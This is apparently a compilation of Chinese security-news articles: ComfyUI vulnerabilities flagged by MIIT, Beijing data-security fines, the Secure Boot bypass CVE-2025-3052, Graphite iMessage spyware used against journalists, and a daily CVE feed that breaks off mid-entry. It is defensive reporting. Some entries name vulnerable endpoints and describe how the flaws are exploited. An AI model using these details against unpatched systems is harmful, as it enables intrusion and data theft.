[2025.5.19—5.25安全动态周回顾](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582480&idx=2&sn=c97eca402f0c3224c4835cefe5ffaf84&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[2025.5.12—5.18安全动态周回顾](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582421&idx=2&sn=4d652cfed9e7b0c3f05bb935d717f71f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[2025.5.5—5.11安全动态周回顾](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582297&idx=2&sn=8d4569e11b758e555b6a2940e619d0e2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[2025.4.21—4.27安全动态周回顾](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582167&idx=2&sn=9118e919e74cfe65375cf71142b941b8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
# 工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击 | 北京2家公司个人信息数据遭境外IP窃取被罚5万元
|
||||
e安在线 e安在线 2025-06-16 02:03
|
||||
|
||||
|
||||
# 工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击
|
||||
#
|
||||
# ComfyUI工具5个安全漏洞已被用于实施网络攻击。
|
||||
#
|
||||
|
||||
近日，工业和信息化部网络安全威胁和漏洞信息共享平台（
|
||||
NVDB
|
||||
）监测发现，
|
||||
ComfyUI
|
||||
工具存在任意文件读取、远程代码执行等
|
||||
5
|
||||
个安全漏洞，已被用于实施网络攻击。
|
||||
|
||||
ComfyUI
|
||||
是一款开源的人工智能绘图工具，用于人工智能驱动的图像生成、视频制作、
|
||||
3D
|
||||
建模与音频创作等。由于其组件存在代码注入、任意文件读取、跨站脚本、远程代码执行等安全漏洞，可被攻击者利用执行远程恶意代码，获取服务器权限，进而窃取系统数据。受影响的
|
||||
ComfyUI
|
||||
组件包括
|
||||
ComfyUI-Ace-Nodes
|
||||
、
|
||||
Comfyanonymous/comfyui
|
||||
、
|
||||
ComfyUI-Bmad-Node
|
||||
、
|
||||
ComfyUI-Impact-Pack
|
||||
、
|
||||
ComfyUI-Manager
|
||||
。
|
||||
|
||||
上述漏洞均已修复，链接如下：
|
||||
|
||||
1.
|
||||
ComfyUI-Ace-Nodes
|
||||
链接：
|
||||
https://github.com/hay86/ComfyUI_AceNodes/blob/5ba01db8a3b7afb8e4aecfaa48823ddeb132bbbb/nodes.py#L1193
|
||||
。
|
||||
|
||||
2.
|
||||
Comfyanonymous/comfyui
|
||||
链接：
|
||||
https://github.com/comfyanonymous/ComfyUI/pull/6034
|
||||
。
|
||||
|
||||
3.
|
||||
ComfyUI-Bmad-Node
|
||||
链接：
|
||||
https://github.com/bmad4ever/comfyui_bmad_nodes/blob/392af9490cbadf32a1fe92ff820ebabe88c51ee8/cv_nodes.py#L1814
|
||||
。
|
||||
|
||||
4.
|
||||
ComfyUI-Impact-Pack
|
||||
链接：
|
||||
https://github.com/ltdrdata/ComfyUI-Impact-Pack/commit/a43dae373e648ae0f0cc0c9768c3cea6a72acff7
|
||||
。
|
||||
|
||||
5.
|
||||
ComfyUI-Manager
|
||||
链接：
|
||||
https://github.com/ltdrdata/ComfyUI-Manager/commit/ffc095a3e5acc1c404773a0510e6d055a6a72b0e
|
||||
。
|
||||
|
||||
建议相关单位和用户立即开展全面排查，及时升级至最新安全版本，通过限制互联网访问、设置
|
||||
IP
|
||||
白名单、增强身份验证机制等方式做好类似人工智能应用的安全加固，防范网络安全风险。
|
||||
|
||||
# 北京2家公司个人信息数据遭境外IP窃取被罚5万元
|
||||
# 北京市网信办加强数据安全领域执法工作，依法查处两家违法企业。今年以来，北京市网信办持续加强数据安全领域执法力度。近期，部分企业因未依法履行数据安全保护义务，其相关系统、服务器或数据库存在未授权访问漏洞和弱口令漏洞问题，造成数据被窃取，北京市网信办依法对涉案企业进行了查处。现将2起典型案例通报如下：案例1：北京某科技公司在开展业务过程中，因技术人员缺乏数据安全保护意识，未对后台业务系统的接口配置访问控制和身份认证等安全措施，导致该系统存在未授权访问漏洞，使储存于其中的姓名、身份证号、手机号等个人信息数据暴露于互联网，并被境外IP访问窃取。该公司未依法履行数据安全保护义务，未建立健全全流程数据安全管理制度，相关系统未采取技术措施和其他必要措施保障数据安全，造成部分个人信息数据遭窃取，违反《中华人民共和国数据安全法》第二十七条规定。针对以上违法情况，北京市网信办依据《中华人民共和国数据安全法》第四十五条，对北京某科技公司作出警告，并处五万元罚款的行政处罚。案例2：北京某有限公司在开展业务过程中，为方便系统测试，将ES数据库的9200端口对外开放且未限制访问，导致ES数据库存在未授权访问漏洞，使储存于其中的姓名、手机号等个人信息数据暴露于互联网，并被境外IP访问窃取。该公司数据安全保护意识淡薄，未依法履行数据安全保护义务，未建立健全全流程数据安全管理制度，相关系统未采取技术措施和其他必要措施保障数据安全，造成部分个人信息数据遭窃取，违反《中华人民共和国数据安全法》第二十七条规定。针对以上违法情况，北京市网信办依据《中华人民共和国数据安全法》第四十五条，对北京某有限公司作出警告，并处五万元罚款的行政处罚。北京市网信办相关负责人表示，数据安全关乎人民群众切身利益，关乎国家安全和社会稳定。部分企业因业务需求，需要收集储存大量个人信息等敏感数据，一旦被窃取或非法利用，会造成社会危害。企业应当依法履行数据安全保护义务，建立健全全流程数据安全管理制度，落实网络安全等级保护要求，加强数据访问权限管控和端口管理力度，设置符合强度要求的登录密码，配置访问IP白名单，通过技术手段对个人信息数据进行脱敏、加密处理，定期组织开展安全培训、漏洞扫描等相关工作。下一步，北京市网信办将针对数据安全保护义务履行不力，造成重要数据遭窃取的违法违规行为加强监督执法，营造安全稳定的网络环境。法律链接《中华人民共和国数据安全法》第二十七条：开展数据处理活动应当依照法律、法规的规定，建立健全全流程数据安全管理制度，组织开展数据安全教育培训，采取相应的技术措施和其他必要措施，保障数据安全。利用互联网等信息网络开展数据处理活动，应当在网络安全等级保护制度的基础上，履行上述数据安全保护义务。重要数据的处理者应当明确数据安全负责人和管理机构，落实数据安全保护责任。《中华人民共和国数据安全法》第四十五条：开展数据处理活动的组织、个人不履行本法第二十七条、第二十九条、第三十条规定的数据安全保护义务的，由有关主管部门责令改正，给予警告，可以并处五万元以上五十万元以下罚款，对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款；拒不改正或者造成大量数据泄露等严重后果的，处五十万元以上二百万元以下罚款，并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照，对直接负责的主管人员和其他直接责任人员处五万元以上二十万元以下罚款。违反国家核心数据管理制度，危害国家主权、安全和发展利益的，由有关主管部门处二百万元以上一千万元以下罚款，并根据情况责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照；构成犯罪的，依法追究刑事责任。
|
||||
|
||||
|
||||
|
||||
|
||||
声明：除发布的文章无法追溯到作者并获得授权外，我们均会注明作者和文章来源。如涉及版权问题请及时联系我们，我们会在第一时间删改，谢谢！文章来源：安全内参
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
# 新型Secure Boot漏洞允许攻击者安装引导工具包恶意软件
|
||||
胡金鱼 嘶吼专业版 2025-06-16 06:01
|
||||
|
||||
|
||||
|
||||
安全研究人员披露了一种新的Secure Boot绕过技术，编号为CVE-2025-3052，可用于关闭pc和服务器的安全性，并安装引导工具包恶意软件。
|
||||
|
||||
这个漏洞影响了几乎所有的系统，这些系统信任 Microsoft 的 "UEFI CA 2011" 证书，基本上所有支持 Secure Boot 的硬件都受到影响。
|
||||
|
||||
Binarly研究人员Alex Matrosov在发现一个带有微软UEFI签名证书的bios闪烁实用程序后发现了CVE-2025-3052漏洞。
|
||||
|
||||
该实用程序最初是为坚固耐用的平板电脑设计的，但由于它与微软的UEFI证书签署，它可以在任何启用安全启动的系统上运行。
|
||||
|
||||
进一步的调查发现，这个易受攻击的模块至少从2022年底就开始在野外传播，后来在2024年被上传到VirusTotal， Binarly在那里发现了它。
|
||||
|
||||
Binarly于2025年2月26日向CERT/CC披露了该漏洞，现在作为微软2025年6月补丁星期二的一部分，CVE-2025-3052得到了缓解。
|
||||
|
||||
然而，在此过程中，微软确定该漏洞影响了其他13个模块，这些模块被添加到撤销数据库中。Binarly解释说：“在分类过程中，微软确定问题并不像最初认为的那样只是一个模块，实际上是14个不同的模块。”因此，在2025年6月10日补丁星期二期间发布的更新dbx包含14个新哈希值。
|
||||
# Secure Boot绕过技术
|
||||
|
||||
这个漏洞是由一个使用微软UEFI CA 2011证书签名的合法BIOS更新工具引起的，大多数现代使用UEFI固件的系统都信任这个证书。
|
||||
|
||||
|
||||
|
||||
使用Microsoft UEFI CA 2011证书签名的易受攻击模块
|
||||
|
||||
此实用程序读取用户可写的 NVRAM 变量（IhisiParamBuffer），但未对其进行验证。如果攻击者拥有操作系统的管理员权限，他们可以修改此变量，从而在 UEFI 启动过程中将任意数据写入内存位置。这一操作发生在操作系统甚至内核加载之前。
|
||||
|
||||
利用这一漏洞，Binarly 制作了一个概念验证型漏洞利用程序，将用于强制执行安全启动的“gSecurity2”全局变量清零。
|
||||
|
||||
Binarly 的报告解释道：“在我们的概念验证（PoC）中，我们选择覆盖全局变量 gSecurity2。”
|
||||
|
||||
此变量保存指向 Security2 架构协议的指针，LoadImage 函数使用该协议来强制执行安全启动。将其设置为零，实际上是禁用了安全启动，从而允许执行任何未签名的 UEFI 模块。
|
||||
|
||||
一旦禁用，攻击者就能安装启动恶意软件，这种恶意软件能够躲避操作系统并关闭进一步的安全功能。
|
||||
|
||||
为修复 CVE-2025-3052，微软已将受影响模块的哈希值添加到安全启动 dbx 撤销列表中。Binarly 和微软敦促用户通过今日的安全更新立即安装更新后的 dbx 文件，以保护其设备。
|
||||
|
||||
今日，Nikolaj Schlej 披露了另一个影响基于 Insyde H2O 的 UEFI 兼容固件的 Secure Boot 旁路漏洞。该漏洞被命名为 Hydroph0bia，并被追踪为 CVE-2025-4275。该漏洞在披露 90 天后被报告给 Insyde 并得到修复。
|
||||
|
||||
Binarly 分享了一段视频，展示了他们的概念验证如何能够禁用安全启动，并在操作系统启动前显示一条消息提示。
|
||||
|
||||
参考及来源：
|
||||
https://www.bleepingcomputer.com/news/security/new-secure-boot-flaw-lets-attackers-install-bootkit-malware-patch-now/
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
# 无需点击就中招！间谍软件利用iMessage漏洞监视记者，苹果紧急修复
|
||||
原创 道玄安全 道玄网安驿站 2025-06-16 00:58
|
||||
|
||||
**“**
|
||||
0点击。**”**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
PS：有内网web自动化需求可以私信
|
||||
|
||||
|
||||
|
||||
|
||||
01
|
||||
|
||||
—
|
||||
|
||||
|
||||
|
||||
导语
|
||||
|
||||
|
||||
2025年4月29日，苹果公司向一群特定用户发送了不寻常的警告通知：他们的设备可能已成为“高级间谍软件”的攻击目标。在这些警告背后，隐藏着一个已被以色列公司Paragon Solutions武器化的iMessage漏洞。
|
||||
|
||||
多伦多大学公民实验室的深入调查揭开了这一惊人发现：两名欧洲记者的iPhone通过
|
||||
**零点击攻击**
|
||||
被植入Graphite间谍软件，攻击发生在2025年1月至2月期间。
|
||||
|
||||
受害者包括意大利知名媒体Fanpage.it记者奇罗·佩莱格里诺和另一位要求匿名的欧洲记者。而令人警觉的是，佩莱格里诺的同事弗朗西斯科·坎塞拉托也在1月份被Meta通知成为同一间谍软件的攻击目标。
|
||||
|
||||
|
||||
## 01 危险的零点击漏洞
|
||||
|
||||
此次被利用的安全漏洞被追踪为
|
||||
**CVE-2025-43200**
|
||||
，它隐藏在苹果处理iCloud链接的逻辑中。攻击者只需通过iMessage发送一条包含恶意制作的照片或视频的iCloud链接，无需受害者点击或进行任何操作，就能触发漏洞。
|
||||
|
||||
“我们相信目标无法察觉这种感染，”公民实验室研究人员比尔·马尔恰克和约翰·斯科特-雷尔顿在报告中指出。这种攻击的隐蔽性使其成为监视活动的理想工具。
|
||||
|
||||
零点击攻击代表了黑客技术的尖端领域，它
|
||||
**无需任何用户交互**
|
||||
即可完成设备入侵。普通攻击通常需要受害者点击链接或下载文件，而零点击攻击则完全消除了这一环节。
|
||||
|
||||
安全专家普遍认为，这类漏洞是最危险的安全威胁之一，因为它们几乎无法被普通用户察觉和防范。
|
||||
## 02 间谍软件的强大能力
|
||||
|
||||
植入设备的Graphite间谍软件由以色列公司Paragon Solutions开发，该公司与前以色列总理埃胡德·巴拉克有密切联系。一旦安装成功，该间谍软件即开启了对设备
|
||||
**全方位的监控权限**
|
||||
。
|
||||
|
||||
根据公民实验室的分析，Graphite能够访问受害者的短信、电子邮件、照片、位置数据，甚至可以
|
||||
**实时激活麦克风或摄像头**
|
||||
。
|
||||
|
||||
被感染的设备会与命令控制服务器建立连接，此次攻击中使用的服务器位于IP地址46.183.184.91，该地址已被关联到Paragon的基础设施。
|
||||
|
||||
法证分析显示，该服务器至少持续活跃至2025年4月12日，由VPS提供商EDIS Global托管，并与公民实验室已知的Graphite指纹特征相匹配。
|
||||
## 03 受害记者与目标机构
|
||||
|
||||
意大利记者奇罗·佩莱格里诺是Fanpage.it那不勒斯新闻编辑室负责人，他在2025 年4月29日收到了苹果的威胁通知。法证分析确认他的iPhone曾被Paragon的Graphite间谍软件入侵。
|
||||
|
||||
“我不喜欢阴谋论，但同一家报社有两位意大利记者遭遇相同情况，这不可能是巧合，”佩莱格里诺向媒体表示。
|
||||
|
||||
另一位受害者的身份仍处于保密状态，被描述为一位“杰出的欧洲记者”。技术分析发现，这位匿名记者的设备在2025年1月至2月初期间运行iOS 18.2.1系统时遭到入侵。
|
||||
|
||||
调查人员发现了一个关键联系：两名记者都收到了来自
|
||||
**同一个iMessage账户**
|
||||
（研究人员命名为“ATTACKER1”）发送的信息。这一共同点指向同一个Paragon客户操作的针对性攻击。
|
||||
## 04 攻击链与基础设施
|
||||
|
||||
整个攻击过程展示了高度专业化的间谍操作。攻击者首先创建了
|
||||
**专门的基础设施**
|
||||
，包括使用特定的iMessage账户和服务器。
|
||||
|
||||
当攻击者通过“ATTACKER1”账户发送包含恶意iCloud链接的信息后，目标设备在处理该内容时触发了漏洞。
|
||||
|
||||
成功入侵后，间谍软件开始在后台静默运行，定期连接至命令控制服务器以下载指令和上传窃取的数据。公民实验室指出：“设备日志显示它向服务器发起了一系列请求，在同一时间段内与我们发布的‘指纹P1’相匹配”。
|
||||
|
||||
这种匹配成为将攻击归因于Graphite间谍软件的关键证据，研究人员表示他们对这一结论持有“高度信心”。
|
||||
## 05 苹果的静默修复与延迟披露
|
||||
|
||||
苹果公司于
|
||||
**2025年2月10日**
|
||||
通过一系列软件更新悄悄修复了这一关键漏洞。安全补丁包含在iOS 18.3.1、iPadOS 18.3.1、macOS Sequoia 15.3.1以及其他多个操作系统的更新中。
|
||||
|
||||
苹果在更新日志中简要描述：“处理通过iCloud链接共享的恶意制作的照片或视频时存在逻辑问题”，并表示已通过“改进输入验证”解决该漏洞。
|
||||
|
||||
然而，苹果并未立即公开漏洞被利用的情况。直到公民实验室6月发布调查报告后，苹果才更新了安全公告，承认该漏洞“可能已在针对特定目标个体的极其复杂的攻击中被利用”。
|
||||
|
||||
这种延迟披露的做法符合苹果一贯的漏洞处理政策：“为保护客户，苹果在调查完成并提供补丁或更新之前不会披露、讨论或确认安全问题”。
|
||||
## 06 欧洲记者面临的间谍软件危机
|
||||
|
||||
此次事件确认了至少
|
||||
**三名欧洲记者成为Paragon间谍软件的目标**
|
||||
，其中两人已被法证确认感染。更令人担忧的是，这反映了针对媒体工作者的系统性监控威胁。
|
||||
|
||||
Fanpage.it已成为明显的攻击焦点。除佩莱格里诺外，该媒体记者弗朗西斯科·坎塞拉托也在2025年1月收到WhatsApp的通知，警告他成为Paragon Graphite间谍软件的目标。
|
||||
|
||||
公民实验室指出：“在Fanpage.it发现第二位记者成为Paragon攻击目标，表明存在针对该新闻机构的行动”。
|
||||
|
||||
意大利议会情报监督委员会（COPASIR）在2025年6月5日发布的报告中承认，意大利情报部门曾使用Paragon的Graphite间谍软件监控部分目标。但该委员会表示无法确定是谁针对了Fanpage.it的记者。
|
||||
|
||||
作为对事件的回应，Paragon Solutions宣布终止与意大利的合同，原因是意政府拒绝让该公司独立核实其系统是否被用于入侵记者的手机。
|
||||
## 07 防护措施与未来挑战
|
||||
|
||||
对于高风险人群如记者、活动家和公民社会成员，安全专家提出以下关键建议：
|
||||
- **立即安装操作系统更新**
|
||||
，特别是iOS 18.3.1及更高版本，这些版本包含了针对该漏洞的修复
|
||||
|
||||
- **认真对待来自苹果、Meta等平台的间谍软件警告**
|
||||
，收到后立即寻求专业帮助
|
||||
|
||||
- 联系Access Now的数字安全热线或大赦国际等组织获取专业支持
|
||||
|
||||
这次事件突显了科技巨头与
|
||||
**商业间谍软件行业之间持续的高风险博弈**
|
||||
。公民实验室的报告强调：“缺乏对这些间谍软件攻击的问责机制，凸显了欧洲记者持续面临这种高度侵入性数字威胁的程度”。
|
||||
|
||||
随着各国政府继续购买这些强大的监控工具，记者和公民社会成员面临的威胁不太可能很快消失。这场猫捉老鼠的游戏，一方是资金充足的间谍软件开发商，另一方是努力保护用户的科技公司，仍将持续进行。
|
||||
|
||||
意大利政府与Paragon Solutions之间的合同争端仍在继续。Paragon声称终止合同是因为意大利政府拒绝让其核实系统是否被违规使用，而意大利安全情报部门则反驳称此举是
|
||||
**出于国家安全考虑**
|
||||
。
|
||||
|
||||
与此同时，Fanpage.it新闻编辑室里的记者们仍在继续工作。他们面对的不仅是新闻调查的挑战，还有
|
||||
**数字空间中那不可见的威胁**
|
||||
。每当iPhone收到新的iMessage提示，都可能带来一丝不安——即使设备已更新至最新系统，即使漏洞已被修复。
|
||||
|
||||
安全专家警示，这不会是最后一次商业间谍软件利用漏洞攻击记者。在监控技术扩散与基本隐私权保护之间，一场看不见的战争仍在进行，而结局远未确定。
|
||||
|
||||
|
||||
免责声明：
|
||||
### 本人所有文章均为技术分享，均用于防御为目的的记录，所有操作均在实验环境下进行，请勿用于其他用途，否则后果自负。
|
||||
|
||||
第二十七条：任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动；不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具；明知他人从事危害网络安全的活动，不得为其提供技术支持、广告推广、支付结算等帮助
|
||||
|
||||
第十二条： 国家保护公民、法人和其他组织依法使用网络的权利，促进网络接入普及，提升网络服务水平，为社会提供安全、便利的网络服务，保障网络信息依法有序自由流动。
|
||||
|
||||
任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益，煽动颠覆国家政权、推翻社会主义制度，煽动分裂国家、破坏国家统一，宣扬恐怖主义、极端主义，宣扬民族仇恨、民族歧视，传播暴力、淫秽色情信息，编造、传播虚假信息扰乱经济秩序和社会秩序，以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。
|
||||
|
||||
第十三条： 国家支持研究开发有利于未成年人健康成长的网络产品和服务，依法惩治利用网络从事危害未成年人身心健康的活动，为未成年人提供安全、健康的网络环境。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,557 @@
|
||||
# 清源SCA社区每日漏洞提早感知情报、新增CVE及投毒情报推送-20250615
|
||||
清源社区 安势信息 2025-06-16 07:00
|
||||
|
||||
|
||||
|
||||
**扫码进群：****获取每日最新漏洞和投毒情报推送**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
清源SCA开源版交流群
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
2025年6月13-15日新增漏洞相关情报
|
||||
|
||||
|
||||
CVE未收录高危漏洞提早感知：4
|
||||
|
||||
CVE热点漏洞精选：6
|
||||
|
||||
投毒情报：8
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞提早感知（CVE暂未收录）
|
||||
|
||||
|
||||
1.
|
||||
|
||||
开源AI开发平台
|
||||
存在不安全直接对象引用漏洞导致敏感个人信息泄露及数据完整性破坏
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
漏洞源于/api/organizations/{Organization-ID}/memberships端点未实施上下文绑定的对象访问验证，攻击者通过枚举或截获合法请求中的组织ID参数即可横向越权读取任意用户的身份凭证和管理属性信息。结合CVSS 3.1公式计算，该缺陷具有远程零交互可利用特性，因权限验证逻辑缺失且影响范围覆盖系统全局状态，构成对保密性、完整性和可用性的全维度破坏。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
awesome-ai-dev-platform-opensource 是面向开发者设计的开源人工智能开发平台，核心功能涵盖模型训练、协作管理和资源调度，采用微服务架构实现模块化部署，依赖RESTful API接口处理多租户组织成员关系维护。其设计目标为开发者提供高效算力接入与跨团队协同能力，但在权限校验层面对组织标识符动态映射缺乏细粒度控制，导致关键身份认证边界失效。
|
||||
|
||||
|
||||
漏洞详情
|
||||
|
||||
漏洞威胁性评级: 9.9(超危)
|
||||
|
||||
漏洞类型: IDOR (CWE-639)
|
||||
|
||||
受影响组件仓库地址: https://github.com/AIxBlock-2023/awesome-ai-dev-platform-opensource
|
||||
|
||||
Star数: 441
|
||||
|
||||
漏洞详情链接: https://github.com/AIxBlock-2023/awesome-ai-dev-platform-opensource/issues/47
|
||||
|
||||
|
||||
2. 开源AI开发平台权限提升漏洞导致用户管理员数据未授权访问
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
该漏洞源于 `/api/current-user/whoami` 接口输出响应中的 `is_superuser` 和 `is_organization_admin` 标志位未实施写保护，攻击者可通过中间人拦截或浏览器调试工具篡改该布尔值为 true，从而突破原始授权级别限制。由于此操作仅需有效认证凭据且无需特殊前置条件（所需权限 LOW），远程攻击者可在无用户交互前提下直接获取系统最高管理员权限，进而操控全局用户账号生命周期管理功能（删除/冻结账户）、读取个人隐私信息（PII）并修改关键配置参数。技术层面违反了最小权限原则，使整个平台暴露于横向移动风险。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
awesome-ai-dev-platform-opensource 是面向开发者设计的开源人工智能开发平台，核心功能涵盖模型训练资源调度、用户权限分级控制及组织管理模块。其架构采用 RESTful API 接口实现前后端分离，其中 `/api/current-user/whoami` 端点用于返回当前用户的认证状态标识，设计初衷是支持动态角色切换与权限校验。该组件依赖 JWT 令牌机制完成身份鉴权，但缺乏对敏感字段的服务器端二次验证逻辑。
|
||||
|
||||
|
||||
漏洞详情
|
||||
|
||||
漏洞威胁性评级: 9.9 (超危)
|
||||
|
||||
漏洞类型: Privilege Escalation (CWE-284)
|
||||
|
||||
受影响组件仓库地址: https://github.com/AIxBlock-2023/awesome-ai-dev-platform-opensource
|
||||
|
||||
Star数: 441
|
||||
|
||||
漏洞详情链接: https://github.com/AIxBlock-2023/awesome-ai-dev-platform-opensource/issues/59
|
||||
|
||||
|
||||
3. payload-ai插件未验证API端点访问引发数据泄露与资源滥用风险
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
该漏洞源于`/api/plugin-ai/generate`与`/api/plugin-ai-instructions`两个端点未实施强制凭证检查，攻击者可通过构造带指定Content-Type头的HTTP请求绕过ACL策略。攻击成本极低、篡改预置prompt模板，触发按量计费系统的异常流量峰谷导致DoS风险。全链路均暴露于横向越权威胁之下。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
payload-ai作为AI功能扩展模块，其核心职责是对外暴露标准化RESTful API供第三方调用。组件采用单体架构部署于Web容器内，主要服务于企业级AI自动化工作流构建场景。正常运作时需依赖OAuth2.0令牌鉴权机制完成上下文绑定及权限校验，但关键路径存在认证逻辑覆盖缺失缺陷。
|
||||
|
||||
|
||||
漏洞详情
|
||||
|
||||
漏洞威胁性评级: 9.8 (超危)
|
||||
|
||||
漏洞类型: Broken Access Control (CWE-287)
|
||||
|
||||
受影响组件仓库地址: https://github.com/ashbuilds/payload-ai
|
||||
|
||||
Star数: 239
|
||||
|
||||
漏洞详情链接: https://github.com/ashbuilds/payload-ai/issues/93
|
||||
|
||||
|
||||
4.
|
||||
MagicOnion授权绕过漏洞允许未认证访问获取敏感数据
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
该漏洞源于Blazor Server端Prerendering流程与[Authorize]特性校验机制的耦合缺陷。当配置RenderMode.Auto时，服务调用会在Prerendering阶段直接解析并执行受[Authorize]修饰的服务方法代码体，此过程绕过Middleware Pipeline的身份验证环节。攻击者可通过构造伪装HTTP请求，在页面首次加载阶段劫持服务调用链路，从而突破预期的身份认证限制。内部评分模型显示该漏洞具备较高攻击可行性和直接数据泄露威胁。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
MagicOnion是基于gRPC构建的跨平台实时通信框架，深度集成了Blazor和ASP.NET Core生态体系。该组件核心功能是实现客户端与服务端的双向流式通信，支持在Blazor Server应用中通过Prerendering模式优化首屏加载性能。其架构设计依赖ASP.NET Core Middleware Pipeline完成认证鉴权流程，理论上确保了服务接口的安全访问控制边界。
|
||||
|
||||
|
||||
漏洞详情
|
||||
|
||||
漏洞威胁性评级: 7.5 (高危)
|
||||
|
||||
漏洞类型: Authorization Bypass (CWE-287)
|
||||
|
||||
受影响组件仓库地址: https://github.com/Cysharp/MagicOnion
|
||||
|
||||
Star数: 4137
|
||||
|
||||
漏洞详情链接: https://github.com/Cysharp/MagicOnion/issues/954
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
新增CVE 情报
|
||||
|
||||
|
||||
|
||||
1. WordPress插件自定义API生成器存在权限绕过漏洞导致管理员账户创建
|
||||
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
漏洞编号：CVE-2025-5288
|
||||
|
||||
发布日期：2025年06月13日
|
||||
|
||||
CVSS 评分为 9.8（超危）
|
||||
|
||||
参考链接：https://nvd.nist.gov/vuln/detail/CVE-2025-5288
|
||||
|
||||
|
||||
在 1.0.0 至 2.0.3 版本中，其 `process_handler()` 函数因缺少能力检查，存在 授权机制缺失（CWE-862） 安全缺陷。攻击者可通过向任意 `import_api` URL 发送包含特制JSON的POST请求，实现未经身份验证的权限提升，最终创建具有完整管理权限的新用户。该漏洞已被证实存在公开利用证据。漏洞影响所有运行 1.0.0 到 2.0.3 版本的 WordPress 用户站点，无论是否启用默认配置。攻击者仅需通过远程HTTP请求提交恶意数据包即可完成漏洞利用，无需用户交互且可远程操控。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
该插件用于WordPress平台的自定义API生成及跨平台导入导出功能。
|
||||
|
||||
|
||||
潜在风险
|
||||
|
||||
攻击复杂度低：通用脚本即可自动化实施攻击
|
||||
|
||||
已检测到实际利用尝试：系统接管风险显著升高
|
||||
|
||||
|
||||
修复建议
|
||||
|
||||
1. 升级至修复后版本（当前暂未公布稳定版本号）
|
||||
|
||||
2. 在Web服务器层限制 `/import_api` 终结点访问权限
|
||||
|
||||
3. 启用WordPress角色管理插件强化用户权限控制
|
||||
|
||||
4. 监控异常用户注册日志及数据库权限变更记录
|
||||
|
||||
|
||||
2. JEvents SQL注入漏洞允许未经身份验证的攻击者实现数据库泄露
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
漏洞编号：CVE-2025-49467
|
||||
|
||||
发布时间：2025年06月13日
|
||||
|
||||
CVSS 评分为 9.3（超危）
|
||||
|
||||
参考链接：https://nvd.nist.gov/vuln/detail/CVE-2025-49467
|
||||
|
||||
|
||||
在 3.6.88 和 3.6.82.1 之前版本中，其日期范围筛选功能存在 SQL 注入（CWE-89） 安全缺陷。攻击者通过构造恶意日期参数，可在无需认证的情况下利用公开接口触发恶意SQL指令，突破应用层防护直接操控后端数据库。该组件通过暴露的列表检索API接口，可使攻击者读取任意表数据、修改系统配置甚至植入WebShell，目前已确认存在公开利用证据。漏洞影响所有未升级至 3.6.88 或 3.6.82.1 及以上版本的 JEvents 实例，尤其针对托管多租户网站的服务提供商构成重大威胁。攻击者仅需构造特制URL即可完成远程渗透，无需用户交互且具备横向移动能力。
|
||||
|
||||
|
||||
组件描述
|
||||
|
||||
JEvents 是适用于Joomla平台的日程管理组件。
|
||||
|
||||
|
||||
潜在风险
|
||||
|
||||
攻击面广泛：依赖公共API接口，无需登录凭证
|
||||
|
||||
存在自动化工具链：批量扫描器与Exploit模块已开源
|
||||
|
||||
数据完整性受损：可篡改关键业务逻辑数据
|
||||
|
||||
持续性强：可建立持久性后门维持控制权
|
||||
|
||||
|
||||
修复建议
|
||||
|
||||
1. 即刻将 JEvents 组件升级至官方发布的 3.6.88 / 3.6.82.1 补丁版本 2. 在应用层部署WAF规则，过滤日期参数中的特殊字符组合
|
||||
|
||||
3. 对非必要功能模块实施IP白名单访问策略
|
||||
|
||||
4. 启用数据库审计日志追踪可疑查询模式
|
||||
|
||||
5. 临时禁用未维护的老旧插件实例
|
||||
|
||||
|
||||
3. XWiki SQL注入漏洞导致未经授权数据库访问
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
漏洞编号：CVE-2024-56158
|
||||
|
||||
发布时间：2025年06月12日
|
||||
|
||||
CVSS 评分为 9.3（超危）
|
||||
|
||||
参考链接：https://nvd.nist.gov/vuln/detail/CVE-2024-56158
|
||||
|
||||
|
||||
